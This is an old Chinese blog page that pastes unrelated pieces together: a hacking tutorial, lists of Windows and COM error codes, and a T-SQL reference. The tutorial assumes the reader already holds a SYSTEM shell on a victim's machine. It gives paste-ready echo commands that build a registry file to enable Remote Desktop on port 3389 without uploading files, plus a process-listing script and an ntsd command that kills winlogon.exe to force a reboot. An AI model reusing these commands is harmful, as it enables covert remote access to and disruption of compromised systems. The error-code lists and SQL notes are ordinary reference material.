2005年03月18日

http://www.securityfaq.org/show.php?id=11

http://hackbase.com/hacker/tutorial/200501299734.htm

http://soft.yesky.com/SoftChannel/72342371928965120/20050112/1899913.shtml

2005年01月23日

 不须上传任何文件开启终端的方法适合win2k,xp,2003. 
本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL~~ 
在无须传任何文件的情况下开启终端服务。 

一、win 2k下终端开启终端 
首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下: 

echo Windows Registry Editor Version 5.00 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg 
echo Enabled=0 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg 
echo ShutdownWithoutLogon=0 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg 
echo EnableAdminTSRemote=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
echo TSEnabled=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg 
echo Start=dword:00000002 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg 
echo Start=dword:00000002 >>3389.reg 
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg 
echo Hotkey=1 >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo PortNumber=dword:00000D3D >>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
echo PortNumber=dword:00000D3D >>3389.reg 
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。 
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了) 
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。 
一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!! 
比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好~) 
winlogon.exe被关闭后机器立刻强制重启了 
命令执行格式为ntsd -c q -p PID 
那如何知道winlogon.exe的PID进程号呢~ 
以下这个脚本可以列举当前所有进程的PID: 

wscript.echo PID ProcessName 
for each ps in getobject(winmgmts:\\.\root\cimv2:win32_process).instances_ 
wscript.echo ps.handle&vbtab&ps.name 
next 
在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe: 
echo wscript.echo PID ProcessName>>1.vbe 
echo for each ps in getobject(winmgmts:\\.\root\cimv2:win32_process).instances_ >>1.vbe 
echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe 
echo next>>1.vbe 

生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。 
运行1.vbe得到如下运行结果: 

C:\WINNT\system32>cscript 1.vbe 
cscript 1.vbe 
Microsoft (R) Windows 脚本宿主版本 5.1 for Windows 
版权所有(C) Microsoft Corporation 1996-1999. All rights reserved. 

PID ProcessName 
0 System Idle Process 
8 System 
152 smss.exe 
180 csrss.exe 
200 winlogon.exe 
228 services.exe 
240 lsass.exe 
424 svchost.exe 
472 spoolsv.exe 
512 msdtc.exe 
616 svchost.exe 
628 KAVSvc.EXE 
660 llssrv.exe 
692 nvsvc32.exe 
728 regsvc.exe 
748 MSTask.exe 
776 alter.exe 
900 svchost.exe 
916 WinMgmt.exe 
1088 Dfssvc.exe 
484 Explorer.EXE 
1444 mdm.exe 
1340 Server.exe 
1224 ibguard.exe 
1252 KAVSvcUI.EXE 
1256 ibserver.exe 
1336 internat.exe 
1204 Uspds.exe 
720 bar.exe 
1288 dllhost.exe 
1580 inetinfo.exe 
1672 cmd.exe 
1464 pppoe.exe 
1704 regedit.exe 
316 cscript.exe 

从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马 

上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧~~ 



二、winxp和win2003终端开启 

开启的REG文件代码如下: 
Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] 
fDenyTSConnections=dword:00000000 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 
PortNumber=dword:00000D3D 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 
PortNumber=dword:00000D3D 
用以下ECHO代码写一个REG文件: 
echo Windows Registry Editor Version 5.00>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg 
echo fDenyTSConnections=dword:00000000>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg 
echo PortNumber=dword:00000d3d>>3389.reg 
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg 
echo PortNumber=dword:00000d3d>>3389.reg 
regedit /s 3389.reg 
del 3389.reg 
这样xp和2003开启终端是不用重启的如果你想改端口只需把上面的两个PortNumber对应的D3D改成相应十进制数的十六进制形式就可以了!用计算器转换吧。XP下不论开终端还是改终端端口都不需重启,真是太妙了~~呵呵。如果要关闭终闭只需把fDenyTSConnections=dword:00000000 

改成fDenyTSConnections=dword:00000001 


 (本文已被浏览 76 次)

2005年01月22日

使用Windows出现蓝色屏幕是经常的事,而且每每因为不清楚错误的来源而频繁重新安装系统,劳神费时。下列收集了一些Windows死机密码,供大家参考。
0×0000 操作完成
0×0001 不正确的函数
0×0002 系统找不到指定的文件
0×0003 系统找不到指定的路径
0×0004 系统无法打开文件
0×0005 拒绝存取
0×0006 无效的代码
0×0007 内存控制模块已损坏
0×0008 内存空间不足,无法处理这个指令
0×0009 内存控制模块地址无效
0×000a 环境不正确
0×000b 尝试载入一个格式错误的程序
0×000c 存取码错误
0×000d 资料错误
0×000e 内存空间不够,无法完成这项操作
0×000f 系统找不到制定的硬盘
0×0010 无法移除目录
0×0011 系统无法将文件移到其他的硬盘
0×0012 没有任何文件
0×0019 找不到指定的扇区或磁道
0×001a 指定的磁盘或磁片无法存取
0×001b 磁盘找不到要求的扇区
0×001c 打印机没有纸
0×001d 系统无法将资料写入制定的磁盘
0×001e 系统无法读取指定的装置
0×001f 连接到系统的某个装置没有作用
0×0021 文件的一部分被锁定
0×0024 开启的分享文件数量太多
0×0026 到达文件结尾
0×0027 磁盘已满
0×0036 网络繁忙
0×003b 网络发生意外的错误
0×0043 网络名称找不到
0×0050 文件已经存在
0×0052 无法建立目录或文件
0×0053 int24失败
0×006b 因为代用的磁盘尚未插入,所以程序已经停止
0×006c 磁盘正在使用中或被锁定
0×006f 文件名太长
0×0070 硬盘空间不足
0×007f 找不到指定的程序
0×045b 系统正在关机
0×045c 无法种植系统关机,因为没有关机的动作在进行中
0×046a 可用服务器储存空间不足,无法处理这项指令
0×047e 指定的程序需要新的Windows版本
0×047f 指定的程序不是Windows或MS-DOS程序
0×0480 指定的程序已经启动,无法再启动一次
0×0481 指定的程序是为旧版的Windows所写的
0×0482 执行此应用程序所需的程序库文件之一毁坏
0×0483 没有应用程序与此项操作的指定文件建立关联
0×0484 传送指令到应用程序发生错误
0×04b0 指定的装置名称无效
0×05a2 窗口不是子窗口
0×05aa 系统资源不足,无法完成所要求的服务
0×05ab 系统子还不足,无法完成所需要的服务
0×05ac 系统资源不足,无法完成所要求的服务
0×06b9 资源不足,无法完成操作

2005年01月11日

  in Decimal in Hex Error Description
-2147418113 (8000FFFF) Catastrophic failure.
-2147942413 (8007000D) The Data is invalid.
-2147467263 (80004001) Not implemented.
-2147024882 (8007000E) Ran out of memory.
-2147024809 (80070057) One or more arguments are invalid.
-2147467262 (80004002) No such interface supported.
-2147467261 (80004003) Invalid pointer.
-2147024890 (80070006) Invalid handle.
-2147467260 (80004004) Operation aborted.
-2147467259 (80004005) Unspecified error.
-2147024891 (80070005) General access denied error.
-2147483647 (80000001) Not implemented.
-2147483646 (80000002) Ran out of memory.
-2147483645 (80000003) One or more arguments are invalid.
-2147483644 (80000004) No such interface supported.
-2147483643 (80000005) Invalid pointer.
-2147483642 (80000006) Invalid handle.
-2147483641 (80000007) Operation aborted.
-2147483640 (80000008) Unspecified error.
-2147483639 (80000009) General access denied error.
-2147483638 (8000000A) The data necessary to complete this operation
not yet available.
-2147467258 (80004006) Thread local storage failure.
-2147467257 (80004007) Get shared memory allocator failure.
-2147467256 (80004008) Get memory allocator failure.
-2147467255 (84009) Unable to initialize class cache.
-2147467254 (8400A) Unable to initialize RPC services.
-2147467253 (8000400B) Cannot set thread local storage channel control.
-2147467252 (8000400C) Could not allocate thread local storage channel
control.
-2147467251 (8000400D) The user supplied memory allocator is
unacceptable.
-2147467250 (8000400E) The OLE service mutex already exists.
-2147467249 (8000400F) The OLE service file mapping already exists.
-2147467248 (80004010) Unable to map view of file for OLE service.
-2147467247 (80004011) Failure attempting to launch OLE service.
-2147467246 (80004012) There was an attempt to call CoInitialize a
second time while single threaded.
-2147467245 (80004013) A Remote activation was necessary but was not
allowed.
-2147467244 (80004014) A Remote activation was necessary but the server
name provided was invalid.
-2147467243 (80004015) The class is configured to run as a security id
different from the caller.
-2147467242 (80004016) Use of Ole1 services requiring DDE windows is
disabled.
-2147467241 (80004017) A RunAs specification must be A RunAs 
specification must be 
or simply 

-2147467240 (80004018) The server process could not be started. The
pathname may be incorrect. 
-2147467239 (80004019) The server process could not be started as the
configured identity. The pathname may be
incorrect or unavailable. 
-2147467238 (8000401A) The server process could not be started because
the configured identity is incorrect. Check the
username and password. 
-2147467237 (8000401B) The client is not allowed to launch this server. 
-2147467236 (8000401C) The service providing this server could not be
started. 
-2147467235 (8000401D) This computer was unable to communicate with the
computer providing the server. 
-2147467234 (8000401E) The server did not respond after being launched. 
-2147467233 (8000401F) The registration information for this server is
inconsistent or incomplete. 
-2147467232 (80004020) The registration information for this interface
is inconsistent or incomplete. 
-2147467231 (80004021) The operation attempted is not supported. 
-2147221504 (80040000) Invalid OLEVERB structure.
-2147221503 (80040001) Invalid advise flags.
-2147221502 (80040002) Can’t enumerate any more, because the associated
data is missing.
-2147221501 (80040003) This implementation doesn’t take advises.
-2147221500 (80040004) There is no connection for this connection ID.
-2147221499 (80040005) Need to run the object to perform this operation.
-2147221498 (80040006) There is no cache to operate on.
-2147221497 (80040007) Uninitialized object.
-2147221496 (80040008) Linked object’s source class has changed.
-2147221495 (80040009) Not able to get the moniker of the object.
-2147221494 (8004000A) Not able to bind to the source.
-2147221493 (8004000B) Object is static; operation not allowed.
-2147221492 (8004000C) User cancelled out of save dialog.
-2147221491 (8004000D) Invalid rectangle.
-2147221490 (8004000E) compobj.dll is too old for the ole2.dll
initialized.
-2147221489 (8004000F) Invalid window handle.
-2147221488 (80040010) Object is not in any of the inplace active states.
-2147221487 (80040011) Not able to convert object.
-2147221486 (80040012) Not able to perform the operation because object
is not given storage yet.
-2147221404 (80040064) Invalid FORMATETC structure.
-2147221403 (80040065) Invalid DVTARGETDEVICE structure.
-2147221402 (80040066) Invalid STDGMEDIUM structure.
-2147221401 (80040067) Invalid STATDATA structure.
-2147221400 (80040068) Invalid lindex.
-2147221399 (80040069) Invalid tymed.
-2147221398 (8004006A) Invalid clipboard format.
-2147221397 (8004006B) Invalid aspect(s).
-2147221396 (8004006C) tdSize parameter of the DVTARGETDEVICE structure
is invalid.
-2147221395 (8004006D) Object doesn’t support IViewObject interface.
-2147221248 (80040100) Trying to revoke a drop target that has not been
registered.
-2147221247 (80040101) This window has already been registered as a drop
target.
-2147221246 (80040102) Invalid window handle.
-2147221232 (80040110) Class does not support aggregation (or class
object is remote).
-2147221231 (80040111) ClassFactory cannot supply requested class.
-2147221184 (80040140) Error drawing view.
-2147221168 (80040150) Could not read key from registry.
-2147221167 (80040151) Could not write key to registry.
-2147221166 (80040152) Could not find the key in the registry.
-2147221165 (80040153) Invalid value for registry.
-2147221164 (80040154) Class not registered.
-2147221163 (80040155) Interface not registered.
-2147221136 (80040170) Cache not updated.
-2147221120 (80040180) No verbs for OLE object.
-2147221119 (80040181) Invalid verb for OLE object.
-2147221088 (800401A0) Undo is not available.
-2147221087 (800401A1) Space for tools is not available.
-2147221056 (800401C0) OLESTREAM Get method failed.
-2147221055 (800401C1) OLESTREAM Put method failed.
-2147221054 (800401C2) Contents of the OLESTREAM not in correct format.
-2147221053 (800401C3) There was an error in a Windows GDI call while
converting the bitmap to a DIB.
-2147221052 (800401C4) Contents of the IStorage not in correct format.
-2147221051 (800401C5) Contents of IStorage is missing one of the
standard streams.
-2147221050 (800401C6) There was an error in a Windows GDI call while
converting the DIB to a bitmap. 
-2147221040 (800401D0) OpenClipboard Failed.
-2147221039 (800401D1) EmptyClipboard Failed.
-2147221038 (800401D2) SetClipboard Failed.
-2147221037 (800401D3) Data on clipboard is invalid.
-2147221036 (800401D4) CloseClipboard Failed.
-2147221024 (800401E0) Moniker needs to be connected manually.
-2147221023 (800401E1) Operation exceeded deadline.
-2147221022 (800401E2) Moniker needs to be generic.
-2147221021 (800401E3) Operation unavailable.
-2147221020 (800401E4) Invalid syntax.
-2147221019 (800401E5) No object for moniker.
-2147221018 (800401E6) Bad extension for file.
-2147221017 (800401E7) Intermediate operation failed.
-2147221016 (800401E8) Moniker is not bindable.
-2147221015 (800401E9) Moniker is not bound.
-2147221014 (800401EA) Moniker cannot open file.
-2147221013 (800401EB) User input required for operation to succeed.
-2147221012 (800401EC) Moniker class has no inverse.
-2147221011 (800401ED) Moniker does not refer to storage.
-2147221010 (800401EE) No common prefix.
-2147221009 (800401EF) Moniker could not be enumerated.
-2147221008 (800401F0) CoInitialize has not been called. 
-2147221007 (800401F1) CoInitialize has already been called. 
-2147221006 (800401F2) Class of object cannot be determined.
-2147221005 (800401F3) Invalid class string.
-2147221004 (800401F4) Invalid interface string.
-2147221003 (800401F5) Application not found.
-2147221002 (800401F6) Application cannot be run more than once.
-2147221001 (800401F7) Some error in application program.
-2147221000 (800401F8) DLL for class not found.
-2147220999 (800401F9) Error in the DLL.
-2147220998 (800401FA) Wrong OS or OS version for application.
-2147220997 (800401FB) Object is not registered.
-2147220996 (800401FC) Object is already registered.
-2147220995 (800401FD) Object is not connected to server.
-2147220994 (800401FE) Application was launched but it didn’t register a
class factory.
-2147220993 (800401FF) Object has been released.
-2146959359 (80080001) Attempt to create a class object failed.
-2146959358 (80080002) OLE service could not bind object.
-2146959357 (80080003) RPC communication failed with OLE service.
-2146959356 (80080004) Bad path to object.
-2146959355 (80080005) Server execution failed.
-2146959354 (80080006) OLE service could not communicate with the object
server.
-2146959353 (80080007) Moniker path could not be normalized.
-2146959352 (80080008) Object server is stopping when OLE service
contacts it.
-2146959351 (80080009) An invalid root block pointer was specified.
-2146959344 (80080010) An allocation chain contained an invalid link
pointer.
-2146959343 (80080011) The requested allocation size was too large.
-2147352575 (80020001) Unknown interface. 
-2147352573 (80020003) Member not found. 
-2147352572 (80020004) Parameter not found. 
-2147352571 (80020005) Type mismatch. 
-2147352570 (80020006) Unknown name. 
-2147352569 (80020007) No named arguments. 
-2147352568 (80020008) Bad variable type. 
-2147352567 (80020009) Exception occurred. 
-2147352566 (8002000A) Out of present range. 
-2147352565 (8002000B) Invalid index. 
-2147352564 (8002000C) Unknown language. 
-2147352563 (8002000D) Memory is locked. 
-2147352562 (8002000E) Invalid number of parameters. 
-2147352561 (8002000F) Parameter not optional. 
-2147352560 (80020010) Invalid callee. 
-2147352559 (80020011) Does not support a collection. 
-2147319786 (80028016) Buffer too small. 
-2147319784 (80028018) Old format or invalid type library. 
-2147319783 (80028019) Old format or invalid type library. 
-2147319780 (8002801C) Error accessing the OLE registry. 
-2147319779 (8002801D) Library not registered. 
-2147319769 (80028027) Bound to unknown type. 
-2147319768 (80028028) Qualified name disallowed. 
-2147319767 (80028029) Invalid forward reference, or reference to
uncompiled type. 
-2147319766 (8002802A) Type mismatch. 
-2147319765 (8002802B) Element not found. 
-2147319764 (8002802C) Ambiguous name. 
-2147319763 (8002802D) Name already exists in the library. 
-2147319762 (8002802E) Unknown LCID. 
-2147319761 (8002802F) Function not defined in specified DLL. 
-2147317571 (800288BD) Wrong module kind for the operation. 
-2147317563 (800288C5) Size may not exceed 64K. 
-2147317562 (800288C6) Duplicate ID in inheritance hierarchy. 
-2147317553 (800288CF) Incorrect inheritance depth in standard OLE
hmember. 
-2147316576 (80028CA0) Type mismatch. 
-2147316575 (80028CA1) Invalid number of arguments. 
-2147316574 (80028CA2) I/O Error. 
-2147316573 (80028CA3) Error creating unique tmp file. 
-2147312566 (80029C4A) Error loading type library/DLL. 
-2147312509 (80029C83) Inconsistent property functions. 
-2147312508 (80029C84) Circular dependency between types/modules. 

经常不知道错误编号含义的可以参考一下(2/2) 
dk163 发表于 2002-8-20 16:07 Joy ASP ←返回版面 [快速返回] 

-2147287039 (80030001) Unable to perform requested operation. 
-2147287038 (80030002) %1 could not be found. 
-2147287037 (80030003) The path %1 could not be found. 
-2147287036 (80030004) There are insufficient resources to open another
file. 
-2147287035 (80030005) Access Denied. 
-2147287034 (80030006) Attempted an operation on an invalid object. 
-2147287032 (80030008) There is insufficient memory available to
complete operation. 
-2147287031 (80030009) Invalid pointer error. 
-2147287022 (80030012) There are no more entries to return. 
-2147287021 (80030013) Disk is write-protected. 
-2147287015 (80030019) An error occurred during a seek operation. 
-2147287011 (8003001D) A disk error occurred during a write operation. 
-2147287010 (8003001E) A disk error occurred during a read operation. 
-2147287008 (80030020) A share violation has occurred. 
-2147287007 (80030021) A lock violation has occurred. 
-2147286960 (80030050) %1 already exists. 
-2147286953 (80030057) Invalid parameter error. 
-2147286928 (80030070) There is insufficient disk space to complete
operation. 
-2147286800 (800300F0) Illegal write of non-simple property to simple
property set. 
-2147286790 (800300FA) An API call exited abnormally. 
-2147286789 (800300FB) The file %1 is not a valid compound file. 
-2147286788 (800300FC) The name %1 is not valid. 
-2147286787 (800300FD) An unexpected error occurred. 
-2147286786 (800300FE) That function is not implemented. 
-2147286785 (800300FF) Invalid flag error. 
-2147286784 (80030100) Attempted to use an object that is busy. 
-2147286783 (80030101) The storage has been changed since the last
commit. 
-2147286782 (80030102) Attempted to use an object that has ceased to
exist. 
-2147286781 (80030103) Can’t save. 
-2147286780 (80030104) The compound file %1 was produced with an
incompatible version of storage. 
-2147286779 (80030105) The compound file %1 was produced with a newer
version of storage. 
-2147286778 (80030106) Share.exe or equivalent is required for
operation. 
-2147286777 (80030107) Illegal operation called on non-file based
storage. 
-2147286776 (80030108) Illegal operation called on object with extant
marshallings. 
-2147286775 (80030109) The docfile has been corrupted. 
-2147286768 (80030110) OLE32.DLL has been loaded at the wrong address. 
-2147286527 (80030201) The file download was aborted abnormally. The
file is incomplete. 
-2147286526 (80030202) The file download has been terminated. 
-2147418111 (80010001) Call was rejected by callee. 
-2147418110 (80010002) Call was canceled by the message filter. 
-2147418109 (80010003) The caller is dispatching an intertask
SendMessage call and cannot call out via
PostMessage. 
-2147418108 (80010004) The caller is dispatching an asynchronous call
and cannot make an outgoing call on behalf of
this call. 
-2147418107 (80010005) It is illegal to call out while inside message
filter. 
-2147418106 (80010006) The connection terminated or is in a bogus state
and cannot be used any more. Other connections
are still valid. 
-2147418105 (80010007) The callee (server [not server application]) is
not available and disappeared; all connections
are invalid. The call may have executed. 
-2147418104 (80010008) The caller (client) disappeared while the callee
(server) was processing a call. 
-2147418103 (80010009) The data packet with the marshalled parameter
data is incorrect. 
-2147418102 (8001000A) The call was not transmitted properly; the
message queue was full and was not emptied after
yielding. 
-2147418101 (8001000B) The client (caller) cannot marshal the parameter
data - low memory, etc. 
-2147418100 (8001000C) The client (caller) cannot unmarshal the return
data - low memory, etc. 
-2147418099 (8001000D) The server (callee) cannot marshal the return
data - low memory, etc. 
-2147418098 (8001000E) The server (callee) cannot unmarshal the
parameter data - low memory, etc. 
-2147418097 (8001000F) Received data is invalid; could be server or
client data. 
-2147418096 (80010010) A particular parameter is invalid and cannot be
(un)marshalled. 
-2147418095 (80010011) There is no second outgoing call on same channel
in DDE conversation. 
-2147418094 (80010012) The callee (server [not server application]) is
not available and disappeared; all connections
are invalid. The call did not execute. 
-2147417856 (80010100) System call failed. 
-2147417855 (80010101) Could not allocate some required resource
(memory, events, …) 
-2147417854 (80010102) Attempted to make calls on more than one thread
in single threaded mode. 
-2147417853 (80010103) The requested interface is not registered on the
server object. 
-2147417852 (80010104) RPC could not call the server or could not return
the results of calling the server. 
-2147417851 (80010105) The server threw an exception. 
-2147417850 (80010106) Cannot change thread mode after it is set. 
-2147417849 (80010107) The method called does not exist on the server. 
-2147417848 (80010108) The object invoked has disconnected from its
clients. 
-2147417847 (80010109) The object invoked chose not to process the call
now. Try again later. 
-2147417846 (8001010A) The message filter indicated that the application
is busy. 
-2147417845 (8001010B) The message filter rejected the call. 
-2147417844 (8001010C) A call control interfaces was called with invalid
data. 
-2147417843 (8001010D) An outgoing call cannot be made since the
application is dispatching an input-synchronous
call. 
-2147417842 (8001010E) The application called an interface that was
marshalled for a different thread. 
-2147417841 (8001010F) CoInitialize has not been called on the current
thread. 
-2147417840 (80010110) The version of OLE on the client and server
machines does not match. 
-2147417839 (80010111) OLE received a packet with an invalid header. 
-2147417838 (80010112) OLE received a packet with an invalid extension. 
-2147417837 (80010113) The requested object or interface does not exist. 
-2147417836 (80010114) The requested object does not exist. 
-2147417835 (80010115) OLE has sent a request and is waiting for a
reply. 
-2147417834 (80010116) OLE is waiting before retrying a request. 
-2147417833 (80010117) Call context cannot be accessed after call
completed. 
-2147417832 (80010118) Impersonate on unsecured calls is not supported. 
-2147417831 (80010119) Security must be initialized before any
interfaces are marshalled or unmarshalled. It
cannot be changed once initialized. 
-2147417830 (8001011A) No security packages are installed on this
machine or the user is not logged on or there are
no compatible security packages between the
client and server. 
-2147417829 (8001011B) Access is denied. 
-2147417828 (8001011C) Remote calls are not allowed for this process. 
-2147417827 (8001011D) The marshalled interface data packet (OBJREF) has
an invalid or unknown format. 
-2147352577 (8001FFFF) An internal error occurred. 
-2146893823 (80090001) Bad UID. 
-2146893822 (80090002) Bad Hash. 
-2146893821 (80090003) Bad Key. 
-2146893820 (80090004) Bad Length. 
-2146893819 (80090005) Bad Data. 
-2146893818 (80090006) Invalid Signature. 
-2146893817 (80090007) Bad Version of provider. 
-2146893816 (80090008) Invalid algorithm specified. 
-2146893815 (80090009) Invalid flags specified. 
-2146893814 (8009000A) Invalid type specified. 
-2146893813 (8009000B) Key not valid for use in specified state. 
-2146893812 (8009000C) Hash not valid for use in specified state. 
-2146893811 (8009000D) Key does not exist. 
-2146893810 (8009000E) Insufficient memory available for the operation. 
-2146893809 (8009000F) Object already exists. 
-2146893808 (80090010) Access denied. 
-2146893807 (80090011) Object was not found. 
-2146893806 (80090012) Data already encrypted. 
-2146893805 (80090013) Invalid provider specified. 
-2146893804 (80090014) Invalid provider type specified. 
-2146893803 (80090015) Provider’s public key is invalid. 
-2146893802 (80090016) Keyset does not exist. 
-2146893801 (80090017) Provider type not defined. 
-2146893800 (80090018) Provider type as registered is invalid. 
-2146893799 (80090019) The keyset is not defined. 
-2146893798 (8009001A) Keyset as registered is invalid. 
-2146893797 (8009001B) Provider type does not match registered value. 
-2146893796 (8009001C) The digital signature file is corrupt. 
-2146893795 (8009001D) Provider DLL failed to initialize correctly. 
-2146893794 (8009001E) Provider DLL could not be found. 
-2146893793 (8009001F) The Keyset parameter is invalid. 
-2146893792 (80090020) An internal error occurred. 
-2146893791 (80090021) A base error occurred. 
-2146762751 (800B0001) The specified trust provider is not known on this
system. 
-2146762750 (800B0002) The trust verification action specified is not
supported by the specified trust provider. 
-2146762749 (800B0003) The form specified for the subject is not one
supported or known by the specified trust
provider. 
-2146762748 (800B0004) The subject is not trusted for the specified
action. 
-2146762747 (800B0005) Error due to problem in ASN.1 encoding process. 
-2146762746 (800B0006) Error due to problem in ASN.1 decoding process. 
-2146762745 (800B0007) Reading / writing Extensions where Attributes are
appropriate, and visa versa. 
-2146762744 (800B0008) Unspecified cryptographic failure. 
-2146762743 (800B0009) The size of the data could not be determined. 
-2146762742 (800B000A) The size of the indefinite-sized data could not
be determined. 
-2146762741 (800B000B) This object does not read and write self-sizing
data. 
-2146762496 (800B0100) No signature was present in the subject. 
-2146762495 (800B0101) A required certificate is not within its validity
period. 
-2146762494 (800B0102) The validity periods of the certification chain
do not nest correctly.
-2146762493 (800B0103) A certificate that can only be used as an
end-entity is being used as a CA or visa versa.
-2146762492 (800B0104) A path length constraint in the certification
chain has been violated.
-2146762491 (800B0105) An extension of unknown type that is labeled
‘critical’ is present in a certificate.
-2146762490 (800B0106) A certificate is being used for a purpose other
than that for which it is permitted.
-2146762489 (800B0107) A parent of a given certificate in fact did not
issue that child certificate.
-2146762488 (800B0108) A certificate is missing or has an empty value
for an important field, such as a subject or
issuer name.
-2146762487 (800B0109) A certification chain processed correctly, but
terminated in a root certificate which isn’t
trusted by the trust provider.
-2146762486 (800B010A) A chain of certs didn’t chain as they should in a
certain application of chaining. 

  *******************Transact_SQL********************

–语 句                                功 能
–数据操作
SELECT      –从数据库表中检索数据行和列
INSERT      –向数据库表添加新数据行
DELETE      –从数据库表中删除数据行
UPDATE      –更新数据库表中的数据
–数据定义
CREATE TABLE    –创建一个数据库表
DROP TABLE     –从数据库中删除表
ALTER TABLE     –修改数据库表结构
CREATE VIEW     –创建一个视图
DROP VIEW     –从数据库中删除视图
CREATE INDEX    –为数据库表创建一个索引
DROP INDEX     –从数据库中删除索引
CREATE PROCEDURE   –创建一个存储过程
DROP PROCEDURE    –从数据库中删除存储过程
CREATE TRIGGER    –创建一个触发器
DROP TRIGGER    –从数据库中删除触发器
CREATE SCHEMA    –向数据库添加一个新模式
DROP SCHEMA     –从数据库中删除一个模式
CREATE DOMAIN    –创建一个数据值域
ALTER DOMAIN    –改变域定义
DROP DOMAIN     –从数据库中删除一个域
–数据控制
GRANT      –授予用户访问权限
DENY      –拒绝用户访问
REVOKE      –解除用户访问权限
–事务控制
COMMIT      –结束当前事务
ROLLBACK     –中止当前事务
SET TRANSACTION    –定义当前事务数据访问特征
–程序化SQL
DECLARE      –为查询设定游标
EXPLAN      –为查询描述数据访问计划
OPEN      –检索查询结果打开一个游标
FETCH      –检索一行查询结果
CLOSE      –关闭游标
PREPARE      –为动态执行准备SQL 语句
EXECUTE      –动态地执行SQL 语句
DESCRIBE     –描述准备好的查询


—局部变量
declare @id char(10)
–set @id = ’10010001′
select @id = ’10010001′


—全局变量
—必须以@@开头


–IF ELSE
declare @x int @y int @z int
select @x = 1 @y = 2 @z=3
if @x > @y
 print ’x > y’ –打印字符串’x > y’
else if @y > @z
 print ’y > z’
else print ’z > y’


–CASE
use pangu
update employee
set e_wage =
 case
  when job_level = ’1’ then e_wage*1.08
  when job_level = ’2’ then e_wage*1.07
  when job_level = ’3’ then e_wage*1.06
  else e_wage*1.05
 end


–WHILE CONTINUE BREAK
declare @x int @y int @c int
select @x = 1 @y=1
while @x < 3
 begin
  print @x –打印变量x 的值
  while @y < 3
   begin
    select @c = 100*@x + @y
    print @c –打印变量c 的值
    select @y = @y + 1
   end
  select @x = @x + 1
  select @y = 1
 end


–WAITFOR
–例 等待1 小时2 分零3 秒后才执行SELECT 语句
waitfor delay ’01:02:03’
select * from employee
–例 等到晚上11 点零8 分后才执行SELECT 语句
waitfor time ’23:08:00’
select * from employee


 


***SELECT***


   select *(列名) from table_name(表名) where column_name operator value
   ex:(宿主)
  select * from stock_information where stockid   = str(nid)
     stockname = ’str_name’ 
     stockname like ’% find this %’ 
     stockname like ’[a-zA-Z]%’ ——— ([]指定值的范围)
     stockname like ’[^F-M]%’   ——— (^排除指定范围)
     ——— 只能在使用like关键字的where子句中使用通配符)
     or stockpath = ’stock_path’
     or stocknumber < 1000
     and stockindex = 24
     not stocksex = ’man’
     stocknumber between 20 and 100
     stocknumber in(10,20,30)
     order by stockid desc(asc) ——— 排序,desc-降序,asc-升序
     order by 1,2 ——— by列号
     stockname = (select stockname from stock_information  where stockid  = 4)
     ——— 子查询
     ——— 除非能确保内层select只返回一个行的值,
     ——— 否则应在外层where子句中用一个in限定符
  select distinct column_name form table_name ——— distinct指定检索独有的列值,不重复
  select stocknumber ,”stocknumber + 10″ = stocknumber + 10 from table_name
  select stockname , ”stocknumber” = count(*) from table_name group by stockname
                                      ——— group by 将表按行分组,指定列中有相同的值
          having count(*) = 2  ———  having选定指定的组
        
  select * 
  from table1, table2                  
  where table1.id *= table2.id ——– 左外部连接,table1中有的而table2中没有得以null表示
     table1.id =* table2.id ——– 右外部连接 


  select stockname from table1
  union [all]  —–  union合并查询结果集,all-保留重复行
  select stockname from table2


***insert***


  insert into table_name (Stock_name,Stock_number) value (“xxx”,”xxxx”)
              value (select Stockname , Stocknumber from Stock_table2)—value为select语句


***update***


  update table_name set Stockname = ”xxx” [where Stockid = 3]
         Stockname = default
         Stockname = null
         Stocknumber = Stockname + 4


***delete***


  delete from table_name where Stockid = 3
  truncate table_name ———– 删除表中所有行,仍保持表的完整性
  drop table table_name ————— 完全删除表


***alter table*** — 修改数据库表结构


